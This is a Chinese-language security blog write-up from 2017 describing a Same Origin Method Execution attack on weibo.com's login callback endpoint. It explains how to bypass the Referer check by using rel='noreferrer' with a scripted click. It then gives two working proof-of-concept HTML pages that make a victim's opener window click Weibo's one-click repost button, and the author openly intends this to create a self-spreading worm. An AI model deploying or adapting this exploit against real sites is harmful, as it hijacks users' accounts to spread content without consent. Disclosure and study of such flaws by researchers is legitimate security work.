[+] Author:MagicBlue
[+] Team: NeSE security team
[+] From: https://magicbluech.github.io
[+] Create: 2017-02-06
起因
最近在研究新浪通行证的单点登录系统。发现了一个有意思的链接
利用
尝试了几个特殊字符想构建xss无果。于是想到了same origin method execute attack。因为这个域名是weibo.com。这是非常好利用的。利用点如下。微博存在一键转发一键关注等按钮。我们可以发一条很有吸引力的微博,诱惑别人去点。别人点我的链接就会触发攻击。会自动转发我的链接。这样就造成了蠕虫。其实SOME攻击可利用的地方很多。还是看场景。
但是有一个问题就是,此页面判断了refer。refer只能来自可信域名。尝试绕过无果。意外发现了当refer为空的时候会返回我们想要的结果。因为refer 会返回错误 但是不显示空白 我们依旧可利用 构造我们的callback
这个时候思路如下
1 找一个可信域下的302跳转。跳转到some利用页面。这样refer可信。成功利用
2 我们想办法去消除refer。感谢html5 a 标签的rel=”noreferrer” 可以使跳转不带有refer(:然后利用js自动点击a标签 做到和自动跳转一样的效果
3 利用iframe 也可以使用refer为空
我们采用第二种方法成本最低
POC
main.html1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
|
<html> <head> <title>Main</title> <meta charset="utf-8"> </head> <body> <a onclick="fuck()" target="_black" href="step.html">click here to see cool things.</a> <script> function fuck(){ window.location.href="自己的微博转发地址"; } </script> </body> </html>
|
step.html1 2 3 4 5 6 7 8 9 10 11
| <a href="http://weibo.com/ajaxlogin.php?framelogin=1&callback=opener.window.document.body.firstElementChild.firstElementChild.firstElementChild.nextElementSibling.firstElementChild.lastElementChild.firstElementChild.firstElementChild.firstElementChild.firstElementChild.lastElementChild.lastElementChild.firstElementChild.firstElementChild.nextElementSibling.firstElementChild.firstElementChild.firstElementChild.firstElementChild.firstElementChild.lastElementChild.firstElementChild.lastElementChild.click" rel="noreferrer" id="fuck" >2333</a> <script> window.onload = function(){ function fuck(){ var a=document.getElementById('fuck'); a.click(); } setTimeout(fuck,8000); } </script>
|
演示